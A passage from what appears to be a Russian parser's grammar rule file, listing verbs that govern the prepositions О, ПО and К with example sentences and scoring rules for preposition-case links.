rus_verbs:беспокоиться{}, // Она беспокоится о детях
rus_verbs:рассказать{}, // Кумир рассказал о криминале в Москве
rus_verbs:возмечтать{}, // возмечтать о счастливом мире
rus_verbs:вопить{}, // Кто-то вопил о несправедливости
rus_verbs:сказать{}, // сказать что-то новое о ком-то
rus_verbs:знать{}, // знать о ком-то что-то пикантное
rus_verbs:подумать{}, // подумать о чём-то
rus_verbs:думать{}, // думать о чём-то
rus_verbs:узнать{}, // узнать о происшествии
rus_verbs:помнить{}, // помнить о задании
rus_verbs:просить{}, // просить о коде доступа
rus_verbs:забыть{}, // забыть о своих обязанностях
rus_verbs:сообщить{}, // сообщить о заложенной мине
rus_verbs:заявить{}, // заявить о пропаже
rus_verbs:задуматься{}, // задуматься о смерти
rus_verbs:спрашивать{}, // спрашивать о поступлении товара
rus_verbs:догадаться{}, // догадаться о причинах
rus_verbs:договориться{}, // договориться о собеседовании
rus_verbs:мечтать{}, // мечтать о сцене
rus_verbs:поговорить{}, // поговорить о наболевшем
rus_verbs:размышлять{}, // размышлять о насущном
rus_verbs:напоминать{}, // напоминать о себе
rus_verbs:пожалеть{}, // пожалеть о содеянном
rus_verbs:ныть{}, // ныть о прибавке
rus_verbs:сообщать{}, // сообщать о победе
rus_verbs:догадываться{}, // догадываться о первопричине
rus_verbs:поведать{}, // поведать о тайнах
rus_verbs:умолять{}, // умолять о пощаде
rus_verbs:сожалеть{}, // сожалеть о случившемся
rus_verbs:жалеть{}, // жалеть о случившемся
rus_verbs:забывать{}, // забывать о случившемся
rus_verbs:упоминать{}, // упоминать о предках
rus_verbs:позабыть{}, // позабыть о своем обещании
rus_verbs:запеть{}, // запеть о любви
rus_verbs:скорбеть{}, // скорбеть о усопшем
rus_verbs:задумываться{}, // задумываться о смене работы
rus_verbs:позаботиться{}, // позаботиться о престарелых родителях
rus_verbs:докладывать{}, // докладывать о планах строительства целлюлозно-бумажного комбината
rus_verbs:попросить{}, // попросить о замене
rus_verbs:предупредить{}, // предупредить о замене
rus_verbs:предупреждать{}, // предупреждать о замене
rus_verbs:твердить{}, // твердить о замене
rus_verbs:заявлять{}, // заявлять о подлоге
rus_verbs:петь{}, // певица, поющая о лете
rus_verbs:проинформировать{}, // проинформировать о переговорах
rus_verbs:порассказывать{}, // порассказывать о событиях
rus_verbs:послушать{}, // послушать о новинках
rus_verbs:заговорить{}, // заговорить о плате
rus_verbs:отозваться{}, // Он отозвался о книге с большой похвалой.
rus_verbs:оставить{}, // Он оставил о себе печальную память.
rus_verbs:свидетельствовать{}, // страшно исхудавшее тело свидетельствовало о долгих лишениях
rus_verbs:спорить{}, // они спорили о законе
глагол:написать{ aux stress="напис^ать" }, инфинитив:написать{ aux stress="напис^ать" }, // Он написал о том, что видел во время путешествия.
глагол:писать{ aux stress="пис^ать" }, инфинитив:писать{ aux stress="пис^ать" }, // Он писал о том, что видел во время путешествия.
rus_verbs:прочитать{}, // Я прочитал о тебе
rus_verbs:услышать{}, // Я услышал о нем
rus_verbs:помечтать{}, // Девочки помечтали о принце
rus_verbs:слышать{}, // Мальчик слышал о приведениях
rus_verbs:вспомнить{}, // Девочки вспомнили о завтраке
rus_verbs:грустить{}, // Я грущу о тебе
rus_verbs:осведомить{}, // о последних достижениях науки
rus_verbs:рассказывать{}, // Антонио рассказывает о работе
rus_verbs:говорить{}, // говорим о трех больших псах
rus_verbs:идти{} // Вопрос идёт о войне.
}
fact гл_предл
{
if context { Гл_О_предл предлог:о{} *:*{ падеж:предл } }
then return true
}
// Мы поделились впечатлениями о выставке.
// ^^^^^^^^^^ ^^^^^^^^^^
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:о{} *:*{} }
then return false,-5
}
#endregion Предлог_О
#region Предлог_ПО
// ------------------- С ПРЕДЛОГОМ 'ПО' ----------------------
// для этих глаголов - запрещаем связывание с ПО+дат.п.
wordentry_set Глаг_ПО_Дат_Запр=
{
rus_verbs:предпринять{}, // предпринять шаги по стимулированию продаж
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:закончить{},
rus_verbs:мочь{},
rus_verbs:хотеть{}
}
fact гл_предл
{
if context { Глаг_ПО_Дат_Запр предлог:по{} *:*{ падеж:дат } }
then return false,-10
}
// По умолчанию разрешаем связывание в паттернах типа
// Я иду по шоссе
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:дат } }
then return true
}
wordentry_set Глаг_ПО_Вин=
{
rus_verbs:ВОЙТИ{}, // лезвие вошло по рукоять (ВОЙТИ)
rus_verbs:иметь{}, // все месяцы имели по тридцать дней. (ИМЕТЬ ПО)
rus_verbs:материализоваться{}, // материализоваться по другую сторону барьера
rus_verbs:засадить{}, // засадить по рукоятку
rus_verbs:увязнуть{} // увязнуть по колено
}
fact гл_предл
{
if context { Глаг_ПО_Вин предлог:по{} *:*{ падеж:вин } }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:вин } }
then return false,-5
}
#endregion Предлог_ПО
#region Предлог_К
// ------------------- С ПРЕДЛОГОМ 'К' ----------------------
wordentry_set Гл_К_Дат={
rus_verbs:заявиться{}, // Сразу же после обеда к нам заявилась Юлия Михайловна.
rus_verbs:приставлять{} , // Приставляет дуло пистолета к виску.
прилагательное:НЕПРИГОДНЫЙ{}, // большинство компьютеров из этой партии оказались непригодными к эксплуатации (НЕПРИГОДНЫЙ)
rus_verbs:СБЕГАТЬСЯ{}, // Они чуяли воду и сбегались к ней отовсюду. (СБЕГАТЬСЯ)
rus_verbs:СБЕЖАТЬСЯ{}, // К бетонной скамье начали сбегаться люди. (СБЕГАТЬСЯ/СБЕЖАТЬСЯ)
rus_verbs:ПРИТИРАТЬСЯ{}, // Менее стойких водителей буквально сметало на другую полосу, и они впритык притирались к другим машинам. (ПРИТИРАТЬСЯ)
rus_verbs:РУХНУТЬ{}, // а потом ты без чувств рухнул к моим ногам (РУХНУТЬ)
rus_verbs:ПЕРЕНЕСТИ{}, // Они перенесли мясо к ручью и поджарили его на костре. (ПЕРЕНЕСТИ)
rus_verbs:ЗАВЕСТИ{}, // как путь мой завел меня к нему? (ЗАВЕСТИ)
rus_verbs:НАГРЯНУТЬ{}, // ФБР нагрянуло с обыском к сестре бостонских террористов (НАГРЯНУТЬ)
rus_verbs:ПРИСЛОНЯТЬСЯ{}, // Рабы ложились на пол, прислонялись к стене и спали. (ПРИСЛОНЯТЬСЯ,ПРИНОРАВЛИВАТЬСЯ,ПРИНОРОВИТЬСЯ)
rus_verbs:ПРИНОРАВЛИВАТЬСЯ{}, //
rus_verbs:ПРИНОРОВИТЬСЯ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Вскоре она остановила свое падение и спланировала к ним. (СПЛАНИРОВАТЬ,СПИКИРОВАТЬ,РУХНУТЬ)
rus_verbs:СПИКИРОВАТЬ{}, //
rus_verbs:ЗАБРАТЬСЯ{}, // Поэтому он забрался ко мне в квартиру с имевшимся у него полумесяцем. (ЗАБРАТЬСЯ К, В, С)
rus_verbs:ПРОТЯГИВАТЬ{}, // Оно протягивало свои длинные руки к молодому человеку, стоявшему на плоской вершине валуна. (ПРОТЯГИВАТЬ/ПРОТЯНУТЬ/ТЯНУТЬ)
rus_verbs:ПРОТЯНУТЬ{}, //
rus_verbs:ТЯНУТЬ{}, //
rus_verbs:ПЕРЕБИРАТЬСЯ{}, // Ее губы медленно перебирались к его уху. (ПЕРЕБИРАТЬСЯ,ПЕРЕБРАТЬСЯ,ПЕРЕБАЗИРОВАТЬСЯ,ПЕРЕМЕСТИТЬСЯ,ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ПЕРЕБРАТЬСЯ{}, // ,,,
rus_verbs:ПЕРЕБАЗИРОВАТЬСЯ{}, //
rus_verbs:ПЕРЕМЕСТИТЬСЯ{}, //
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, //
rus_verbs:ТРОНУТЬСЯ{}, // Он отвернулся от нее и тронулся к пляжу. (ТРОНУТЬСЯ)
rus_verbs:ПРИСТАВИТЬ{}, // Он поднял одну из них и приставил верхний конец к краю шахты в потолке.
rus_verbs:ПРОБИТЬСЯ{}, // Отряд с невероятными приключениями, пытается пробиться к своему полку, попадает в плен и другие передряги (ПРОБИТЬСЯ)
rus_verbs:хотеть{},
rus_verbs:СДЕЛАТЬ{}, // Сделайте всё к понедельнику (СДЕЛАТЬ)
rus_verbs:ИСПЫТЫВАТЬ{}, // она испытывает ко мне только отвращение (ИСПЫТЫВАТЬ)
rus_verbs:ОБЯЗЫВАТЬ{}, // Это меня ни к чему не обязывает (ОБЯЗЫВАТЬ)
rus_verbs:КАРАБКАТЬСЯ{}, // карабкаться по горе от подножия к вершине (КАРАБКАТЬСЯ)
rus_verbs:СТОЯТЬ{}, // мужчина стоял ко мне спиной (СТОЯТЬ)
rus_verbs:ПОДАТЬСЯ{}, // наконец люк подался ко мне (ПОДАТЬСЯ)
rus_verbs:ПРИРАВНЯТЬ{}, // Усилия нельзя приравнять к результату (ПРИРАВНЯТЬ)
rus_verbs:ПРИРАВНИВАТЬ{}, // Усилия нельзя приравнивать к результату (ПРИРАВНИВАТЬ)
rus_verbs:ВОЗЛОЖИТЬ{}, // Путин в Пскове возложил цветы к памятнику воинам-десантникам, погибшим в Чечне (ВОЗЛОЖИТЬ)
rus_verbs:запустить{}, // Индия запустит к Марсу свой космический аппарат в 2013 г
rus_verbs:ПРИСТЫКОВАТЬСЯ{}, // Роботизированный российский грузовой космический корабль пристыковался к МКС (ПРИСТЫКОВАТЬСЯ)
rus_verbs:ПРИМАЗАТЬСЯ{}, // К челябинскому метеориту примазалась таинственная слизь (ПРИМАЗАТЬСЯ)
rus_verbs:ПОПРОСИТЬ{}, // Попросите Лизу к телефону (ПОПРОСИТЬ К)
rus_verbs:ПРОЕХАТЬ{}, // Порой школьные автобусы просто не имеют возможности проехать к некоторым населенным пунктам из-за бездорожья (ПРОЕХАТЬ К)
rus_verbs:ПОДЦЕПЛЯТЬСЯ{}, // Вагоны с пассажирами подцепляются к составу (ПОДЦЕПЛЯТЬСЯ К)
rus_verbs:ПРИЗВАТЬ{}, // Президент Афганистана призвал талибов к прямому диалогу (ПРИЗВАТЬ К)
rus_verbs:ПРЕОБРАЗИТЬСЯ{}, // Культовый столичный отель преобразился к юбилею (ПРЕОБРАЗИТЬСЯ К)
прилагательное:ЧУВСТВИТЕЛЬНЫЙ{}, // нейроны одного комплекса чувствительны к разным веществам (ЧУВСТВИТЕЛЬНЫЙ К)
безлич_глагол:нужно{}, // нам нужно к воротам (НУЖНО К)
rus_verbs:БРОСИТЬ{}, // огромный клюв бросил это мясо к моим ногам (БРОСИТЬ К)
rus_verbs:ЗАКОНЧИТЬ{}, // к пяти утра техники закончили (ЗАКОНЧИТЬ К)
rus_verbs:НЕСТИ{}, // к берегу нас несет! (НЕСТИ К)
rus_verbs:ПРОДВИГАТЬСЯ{}, // племена медленно продвигались к востоку (ПРОДВИГАТЬСЯ К)
rus_verbs:ОПУСКАТЬСЯ{}, // деревья опускались к самой воде (ОПУСКАТЬСЯ К)
rus_verbs:СТЕМНЕТЬ{}, // к тому времени стемнело (СТЕМНЕЛО К)
rus_verbs:ОТСКОЧИТЬ{}, // после отскочил к окну (ОТСКОЧИТЬ К)
rus_verbs:ДЕРЖАТЬСЯ{}, // к солнцу держались спинами (ДЕРЖАТЬСЯ К)
rus_verbs:КАЧНУТЬСЯ{}, // толпа качнулась к ступеням (КАЧНУТЬСЯ К)
rus_verbs:ВОЙТИ{}, // Андрей вошел к себе (ВОЙТИ К)
rus_verbs:ВЫБРАТЬСЯ{}, // мы выбрались к окну (ВЫБРАТЬСЯ К)
rus_verbs:ПРОВЕСТИ{}, // провел к стене спальни (ПРОВЕСТИ К)
rus_verbs:ВЕРНУТЬСЯ{}, // давай вернемся к делу (ВЕРНУТЬСЯ К)
rus_verbs:ВОЗВРАТИТЬСЯ{}, // Среди евреев, живших в диаспоре, всегда было распространено сильное стремление возвратиться к Сиону (ВОЗВРАТИТЬСЯ К)
rus_verbs:ПРИЛЕГАТЬ{}, // Задняя поверхность хрусталика прилегает к стекловидному телу (ПРИЛЕГАТЬ К)
rus_verbs:ПЕРЕНЕСТИСЬ{}, // мысленно Алёна перенеслась к заливу (ПЕРЕНЕСТИСЬ К)
rus_verbs:ПРОБИВАТЬСЯ{}, // сквозь болото к берегу пробивался ручей. (ПРОБИВАТЬСЯ К)
rus_verbs:ПЕРЕВЕСТИ{}, // необходимо срочно перевести стадо к воде. (ПЕРЕВЕСТИ К)
rus_verbs:ПРИЛЕТЕТЬ{}, // зачем ты прилетел к нам? (ПРИЛЕТЕТЬ К)
rus_verbs:ДОБАВИТЬ{}, // добавить ли ее к остальным? (ДОБАВИТЬ К)
rus_verbs:ПРИГОТОВИТЬ{}, // Матвей приготовил лук к бою. (ПРИГОТОВИТЬ К)
rus_verbs:РВАНУТЬ{}, // человек рванул ее к себе. (РВАНУТЬ К)
rus_verbs:ТАЩИТЬ{}, // они тащили меня к двери. (ТАЩИТЬ К)
глагол:быть{}, // к тебе есть вопросы.
прилагательное:равнодушный{}, // Он равнодушен к музыке.
rus_verbs:ПОЖАЛОВАТЬ{}, // скандально известный певец пожаловал к нам на передачу (ПОЖАЛОВАТЬ К)
rus_verbs:ПЕРЕСЕСТЬ{}, // Ольга пересела к Антону (ПЕРЕСЕСТЬ К)
инфинитив:СБЕГАТЬ{ вид:соверш }, глагол:СБЕГАТЬ{ вид:соверш }, // сбегай к Борису (СБЕГАТЬ К)
rus_verbs:ПЕРЕХОДИТЬ{}, // право хода переходит к Адаму (ПЕРЕХОДИТЬ К)
rus_verbs:прижаться{}, // она прижалась щекой к его шее. (прижаться+к)
rus_verbs:ПОДСКОЧИТЬ{}, // солдат быстро подскочил ко мне. (ПОДСКОЧИТЬ К)
rus_verbs:ПРОБРАТЬСЯ{}, // нужно пробраться к реке. (ПРОБРАТЬСЯ К)
rus_verbs:ГОТОВИТЬ{}, // нас готовили к этому. (ГОТОВИТЬ К)
rus_verbs:ТЕЧЬ{}, // река текла к морю. (ТЕЧЬ К)
rus_verbs:ОТШАТНУТЬСЯ{}, // епископ отшатнулся к стене. (ОТШАТНУТЬСЯ К)
rus_verbs:БРАТЬ{}, // брали бы к себе. (БРАТЬ К)
rus_verbs:СКОЛЬЗНУТЬ{}, // ковер скользнул к пещере. (СКОЛЬЗНУТЬ К)
rus_verbs:присохнуть{}, // Грязь присохла к одежде. (присохнуть к)
rus_verbs:просить{}, // Директор просит вас к себе. (просить к)
rus_verbs:вызывать{}, // шеф вызывал к себе. (вызывать к)
rus_verbs:присесть{}, // старик присел к огню. (присесть к)
rus_verbs:НАКЛОНИТЬСЯ{}, // Ричард наклонился к брату. (НАКЛОНИТЬСЯ К)
rus_verbs:выбираться{}, // будем выбираться к дороге. (выбираться к)
rus_verbs:отвернуться{}, // Виктор отвернулся к стене. (отвернуться к)
rus_verbs:СТИХНУТЬ{}, // огонь стих к полудню. (СТИХНУТЬ К)
rus_verbs:УПАСТЬ{}, // нож упал к ногам. (УПАСТЬ К)
rus_verbs:СЕСТЬ{}, // молча сел к огню. (СЕСТЬ К)
rus_verbs:ХЛЫНУТЬ{}, // народ хлынул к стенам. (ХЛЫНУТЬ К)
rus_verbs:покатиться{}, // они черной волной покатились ко мне. (покатиться к)
rus_verbs:ОБРАТИТЬ{}, // она обратила к нему свое бледное лицо. (ОБРАТИТЬ К)
rus_verbs:СКЛОНИТЬ{}, // Джон слегка склонил голову к плечу. (СКЛОНИТЬ К)
rus_verbs:СВЕРНУТЬ{}, // дорожка резко свернула к южной стене. (СВЕРНУТЬ К)
rus_verbs:ЗАВЕРНУТЬ{}, // Он завернул к нам по пути к месту службы. (ЗАВЕРНУТЬ К)
rus_verbs:подходить{}, // цвет подходил ей к лицу.
rus_verbs:БРЕСТИ{}, // Ричард покорно брел к отцу. (БРЕСТИ К)
rus_verbs:ПОПАСТЬ{}, // хочешь попасть к нему? (ПОПАСТЬ К)
rus_verbs:ПОДНЯТЬ{}, // Мартин поднял ружье к плечу. (ПОДНЯТЬ К)
rus_verbs:ПОТЕРЯТЬ{}, // просто потеряла к нему интерес. (ПОТЕРЯТЬ К)
rus_verbs:РАЗВЕРНУТЬСЯ{}, // они сразу развернулись ко мне. (РАЗВЕРНУТЬСЯ К)
rus_verbs:ПОВЕРНУТЬ{}, // мальчик повернул к ним голову. (ПОВЕРНУТЬ К)
rus_verbs:вызвать{}, // или вызвать к жизни? (вызвать к)
rus_verbs:ВЫХОДИТЬ{}, // их земли выходят к морю. (ВЫХОДИТЬ К)
rus_verbs:ЕХАТЬ{}, // мы долго ехали к вам. (ЕХАТЬ К)
rus_verbs:опуститься{}, // Алиса опустилась к самому дну. (опуститься к)
rus_verbs:подняться{}, // они молча поднялись к себе. (подняться к)
rus_verbs:ДВИНУТЬСЯ{}, // толстяк тяжело двинулся к ним. (ДВИНУТЬСЯ К)
rus_verbs:ПОПЯТИТЬСЯ{}, // ведьмак осторожно попятился к лошади. (ПОПЯТИТЬСЯ К)
rus_verbs:РИНУТЬСЯ{}, // мышелов ринулся к черной стене. (РИНУТЬСЯ К)
rus_verbs:ТОЛКНУТЬ{}, // к этому толкнул ее ты. (ТОЛКНУТЬ К)
rus_verbs:отпрыгнуть{}, // Вадим поспешно отпрыгнул к борту. (отпрыгнуть к)
rus_verbs:отступить{}, // мы поспешно отступили к стене. (отступить к)
rus_verbs:ЗАБРАТЬ{}, // мы забрали их к себе. (ЗАБРАТЬ к)
rus_verbs:ВЗЯТЬ{}, // потом возьму тебя к себе. (ВЗЯТЬ К)
rus_verbs:лежать{}, // наш путь лежал к ним. (лежать к)
rus_verbs:поползти{}, // ее рука поползла к оружию. (поползти к)
rus_verbs:требовать{}, // вас требует к себе император. (требовать к)
rus_verbs:поехать{}, // ты должен поехать к нему. (поехать к)
rus_verbs:тянуться{}, // мордой животное тянулось к земле. (тянуться к)
rus_verbs:ЖДАТЬ{}, // жди их завтра к утру. (ЖДАТЬ К)
rus_verbs:ПОЛЕТЕТЬ{}, // они стремительно полетели к земле. (ПОЛЕТЕТЬ К)
rus_verbs:подойти{}, // помоги мне подойти к столу. (подойти к)
rus_verbs:РАЗВЕРНУТЬ{}, // мужик развернул к нему коня. (РАЗВЕРНУТЬ К)
rus_verbs:ПРИВЕЗТИ{}, // нас привезли прямо к королю. (ПРИВЕЗТИ К)
rus_verbs:отпрянуть{}, // незнакомец отпрянул к стене. (отпрянуть к)
rus_verbs:побежать{}, // Cергей побежал к двери. (побежать к)
rus_verbs:отбросить{}, // сильный удар отбросил его к стене. (отбросить к)
rus_verbs:ВЫНУДИТЬ{}, // они вынудили меня к сотрудничеству (ВЫНУДИТЬ К)
rus_verbs:подтянуть{}, // он подтянул к себе стул и сел на него (подтянуть к)
rus_verbs:сойти{}, // по узкой тропинке путники сошли к реке. (сойти к)
rus_verbs:являться{}, // по ночам к нему являлись призраки. (являться к)
rus_verbs:ГНАТЬ{}, // ледяной ветер гнал их к югу. (ГНАТЬ К)
rus_verbs:ВЫВЕСТИ{}, // она вывела нас точно к месту. (ВЫВЕСТИ К)
rus_verbs:выехать{}, // почти сразу мы выехали к реке.
rus_verbs:пододвигаться{}, // пододвигайся к окну
rus_verbs:броситься{}, // большая часть защитников стен бросилась к воротам.
rus_verbs:представить{}, // Его представили к ордену.
rus_verbs:двигаться{}, // между тем чудище неторопливо двигалось к берегу.
rus_verbs:выскочить{}, // тем временем они выскочили к реке.
rus_verbs:выйти{}, // тем временем они вышли к лестнице.
rus_verbs:потянуть{}, // Мальчик схватил верёвку и потянул её к себе.
rus_verbs:приложить{}, // приложить к детали повышенное усилие
rus_verbs:пройти{}, // пройти к стойке регистрации (стойка регистрации - проверить проверку)
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:привязать{}, // привязать за лапу веревкой к колышку, воткнутому в землю
rus_verbs:прыгать{}, // прыгать к хозяину на стол
rus_verbs:приглашать{}, // приглашать к доктору
rus_verbs:рваться{}, // Чужие люди рвутся к власти
rus_verbs:понестись{}, // понестись к обрыву
rus_verbs:питать{}, // питать привязанность к алкоголю
rus_verbs:заехать{}, // Коля заехал к Оле
rus_verbs:переехать{}, // переехать к родителям
rus_verbs:ползти{}, // ползти к дороге
rus_verbs:сводиться{}, // сводиться к элементарному действию
rus_verbs:добавлять{}, // добавлять к общей сумме
rus_verbs:подбросить{}, // подбросить к потолку
rus_verbs:призывать{}, // призывать к спокойствию
rus_verbs:пробираться{}, // пробираться к партизанам
rus_verbs:отвезти{}, // отвезти к родителям
rus_verbs:применяться{}, // применяться к уравнению
rus_verbs:сходиться{}, // сходиться к точному решению
rus_verbs:допускать{}, // допускать к сдаче зачета
rus_verbs:свести{}, // свести к нулю
rus_verbs:придвинуть{}, // придвинуть к мальчику
rus_verbs:подготовить{}, // подготовить к печати
rus_verbs:подобраться{}, // подобраться к оленю
rus_verbs:заторопиться{}, // заторопиться к выходу
rus_verbs:пристать{}, // пристать к берегу
rus_verbs:поманить{}, // поманить к себе
rus_verbs:припасть{}, // припасть к алтарю
rus_verbs:притащить{}, // притащить к себе домой
rus_verbs:прижимать{}, // прижимать к груди
rus_verbs:подсесть{}, // подсесть к симпатичной девочке
rus_verbs:придвинуться{}, // придвинуться к окну
rus_verbs:отпускать{}, // отпускать к другу
rus_verbs:пригнуться{}, // пригнуться к земле
rus_verbs:пристроиться{}, // пристроиться к колонне
rus_verbs:сгрести{}, // сгрести к себе
rus_verbs:удрать{}, // удрать к цыганам
rus_verbs:прибавиться{}, // прибавиться к общей сумме
rus_verbs:присмотреться{}, // присмотреться к покупке
rus_verbs:подкатить{}, // подкатить к трюму
rus_verbs:клонить{}, // клонить ко сну
rus_verbs:проследовать{}, // проследовать к выходу
rus_verbs:пододвинуть{}, // пододвинуть к себе
rus_verbs:применять{}, // применять к сотрудникам
rus_verbs:прильнуть{}, // прильнуть к экранам
rus_verbs:подвинуть{}, // подвинуть к себе
rus_verbs:примчаться{}, // примчаться к папе
rus_verbs:подкрасться{}, // подкрасться к жертве
rus_verbs:привязаться{}, // привязаться к собаке
rus_verbs:забирать{}, // забирать к себе
rus_verbs:прорваться{}, // прорваться к кассе
rus_verbs:прикасаться{}, // прикасаться к коже
rus_verbs:уносить{}, // уносить к себе
rus_verbs:подтянуться{}, // подтянуться к месту
rus_verbs:привозить{}, // привозить к ветеринару
rus_verbs:подползти{}, // подползти к зайцу
rus_verbs:приблизить{}, // приблизить к глазам
rus_verbs:применить{}, // применить к уравнению простое преобразование
rus_verbs:приглядеться{}, // приглядеться к изображению
rus_verbs:приложиться{}, // приложиться к ручке
rus_verbs:приставать{}, // приставать к девчонкам
rus_verbs:запрещаться{}, // запрещаться к показу
rus_verbs:прибегать{}, // прибегать к насилию
rus_verbs:побудить{}, // побудить к действиям
rus_verbs:притягивать{}, // притягивать к себе
rus_verbs:пристроить{}, // пристроить к полезному делу
rus_verbs:приговорить{}, // приговорить к смерти
rus_verbs:склоняться{}, // склоняться к прекращению разработки
rus_verbs:подъезжать{}, // подъезжать к вокзалу
rus_verbs:привалиться{}, // привалиться к забору
rus_verbs:наклоняться{}, // наклоняться к щенку
rus_verbs:подоспеть{}, // подоспеть к обеду
rus_verbs:прилипнуть{}, // прилипнуть к окну
rus_verbs:приволочь{}, // приволочь к себе
rus_verbs:устремляться{}, // устремляться к вершине
rus_verbs:откатиться{}, // откатиться к исходным позициям
rus_verbs:побуждать{}, // побуждать к действиям
rus_verbs:прискакать{}, // прискакать к кормежке
rus_verbs:присматриваться{}, // присматриваться к новичку
rus_verbs:прижиматься{}, // прижиматься к борту
rus_verbs:жаться{}, // жаться к огню
rus_verbs:передвинуть{}, // передвинуть к окну
rus_verbs:допускаться{}, // допускаться к экзаменам
rus_verbs:прикрепить{}, // прикрепить к корпусу
rus_verbs:отправлять{}, // отправлять к специалистам
rus_verbs:перебежать{}, // перебежать к врагам
rus_verbs:притронуться{}, // притронуться к реликвии
rus_verbs:заспешить{}, // заспешить к семье
rus_verbs:ревновать{}, // ревновать к сопернице
rus_verbs:подступить{}, // подступить к горлу
rus_verbs:уводить{}, // уводить к ветеринару
rus_verbs:побросать{}, // побросать к ногам
rus_verbs:подаваться{}, // подаваться к ужину
rus_verbs:приписывать{}, // приписывать к достижениям
rus_verbs:относить{}, // относить к растениям
rus_verbs:принюхаться{}, // принюхаться к ароматам
rus_verbs:подтащить{}, // подтащить к себе
rus_verbs:прислонить{}, // прислонить к стене
rus_verbs:подплыть{}, // подплыть к бую
rus_verbs:опаздывать{}, // опаздывать к стилисту
rus_verbs:примкнуть{}, // примкнуть к деомнстрантам
rus_verbs:стекаться{}, // стекаются к стенам тюрьмы
rus_verbs:подготовиться{}, // подготовиться к марафону
rus_verbs:приглядываться{}, // приглядываться к новичку
rus_verbs:присоединяться{}, // присоединяться к сообществу
rus_verbs:клониться{}, // клониться ко сну
rus_verbs:привыкать{}, // привыкать к хорошему
rus_verbs:принудить{}, // принудить к миру
rus_verbs:уплыть{}, // уплыть к далекому берегу
rus_verbs:утащить{}, // утащить к детенышам
rus_verbs:приплыть{}, // приплыть к финишу
rus_verbs:подбегать{}, // подбегать к хозяину
rus_verbs:лишаться{}, // лишаться средств к существованию
rus_verbs:приступать{}, // приступать к операции
rus_verbs:пробуждать{}, // пробуждать лекцией интерес к математике
rus_verbs:подключить{}, // подключить к трубе
rus_verbs:подключиться{}, // подключиться к сети
rus_verbs:прилить{}, // прилить к лицу
rus_verbs:стучаться{}, // стучаться к соседям
rus_verbs:пристегнуть{}, // пристегнуть к креслу
rus_verbs:присоединить{}, // присоединить к сети
rus_verbs:отбежать{}, // отбежать к противоположной стене
rus_verbs:подвезти{}, // подвезти к набережной
rus_verbs:прибегнуть{}, // прибегнуть к хитрости
rus_verbs:приучить{}, // приучить к туалету
rus_verbs:подталкивать{}, // подталкивать к выходу
rus_verbs:прорываться{}, // прорываться к выходу
rus_verbs:увозить{}, // увозить к ветеринару
rus_verbs:засеменить{}, // засеменить к выходу
rus_verbs:крепиться{}, // крепиться к потолку
rus_verbs:прибрать{}, // прибрать к рукам
rus_verbs:пристраститься{}, // пристраститься к наркотикам
rus_verbs:поспеть{}, // поспеть к обеду
rus_verbs:привязывать{}, // привязывать к дереву
rus_verbs:прилагать{}, // прилагать к документам
rus_verbs:переправить{}, // переправить к дедушке
rus_verbs:подогнать{}, // подогнать к воротам
rus_verbs:тяготеть{}, // тяготеть к социализму
rus_verbs:подбираться{}, // подбираться к оленю
rus_verbs:подступать{}, // подступать к горлу
rus_verbs:примыкать{}, // примыкать к первому элементу
rus_verbs:приладить{}, // приладить к велосипеду
rus_verbs:подбрасывать{}, // подбрасывать к потолку
rus_verbs:перевозить{}, // перевозить к новому месту дислокации
rus_verbs:усаживаться{}, // усаживаться к окну
rus_verbs:приближать{}, // приближать к глазам
rus_verbs:попроситься{}, // попроситься к бабушке
rus_verbs:прибить{}, // прибить к доске
rus_verbs:перетащить{}, // перетащить к себе
rus_verbs:прицепить{}, // прицепить к паровозу
rus_verbs:прикладывать{}, // прикладывать к ране
rus_verbs:устареть{}, // устареть к началу войны
rus_verbs:причалить{}, // причалить к пристани
rus_verbs:приспособиться{}, // приспособиться к опозданиям
rus_verbs:принуждать{}, // принуждать к миру
rus_verbs:соваться{}, // соваться к директору
rus_verbs:протолкаться{}, // протолкаться к прилавку
rus_verbs:приковать{}, // приковать к батарее
rus_verbs:подкрадываться{}, // подкрадываться к суслику
rus_verbs:подсадить{}, // подсадить к арестонту
rus_verbs:прикатить{}, // прикатить к финишу
rus_verbs:протащить{}, // протащить к владыке
rus_verbs:сужаться{}, // сужаться к основанию
rus_verbs:присовокупить{}, // присовокупить к пожеланиям
rus_verbs:пригвоздить{}, // пригвоздить к доске
rus_verbs:отсылать{}, // отсылать к первоисточнику
rus_verbs:изготовиться{}, // изготовиться к прыжку
rus_verbs:прилагаться{}, // прилагаться к покупке
rus_verbs:прицепиться{}, // прицепиться к вагону
rus_verbs:примешиваться{}, // примешиваться к вину
rus_verbs:переселить{}, // переселить к старшекурсникам
rus_verbs:затрусить{}, // затрусить к выходе
rus_verbs:приспособить{}, // приспособить к обогреву
rus_verbs:примериться{}, // примериться к аппарату
rus_verbs:прибавляться{}, // прибавляться к пенсии
rus_verbs:подкатиться{}, // подкатиться к воротам
rus_verbs:стягивать{}, // стягивать к границе
rus_verbs:дописать{}, // дописать к роману
rus_verbs:подпустить{}, // подпустить к корове
rus_verbs:склонять{}, // склонять к сотрудничеству
rus_verbs:припечатать{}, // припечатать к стене
rus_verbs:охладеть{}, // охладеть к музыке
rus_verbs:пришить{}, // пришить к шинели
rus_verbs:принюхиваться{}, // принюхиваться к ветру
rus_verbs:подрулить{}, // подрулить к барышне
rus_verbs:наведаться{}, // наведаться к оракулу
rus_verbs:клеиться{}, // клеиться к конверту
rus_verbs:перетянуть{}, // перетянуть к себе
rus_verbs:переметнуться{}, // переметнуться к конкурентам
rus_verbs:липнуть{}, // липнуть к сокурсницам
rus_verbs:поковырять{}, // поковырять к выходу
rus_verbs:подпускать{}, // подпускать к пульту управления
rus_verbs:присосаться{}, // присосаться к источнику
rus_verbs:приклеить{}, // приклеить к стеклу
rus_verbs:подтягивать{}, // подтягивать к себе
rus_verbs:подкатывать{}, // подкатывать к даме
rus_verbs:притрагиваться{}, // притрагиваться к опухоли
rus_verbs:слетаться{}, // слетаться к водопою
rus_verbs:хаживать{}, // хаживать к батюшке
rus_verbs:привлекаться{}, // привлекаться к административной ответственности
rus_verbs:подзывать{}, // подзывать к себе
rus_verbs:прикладываться{}, // прикладываться к иконе
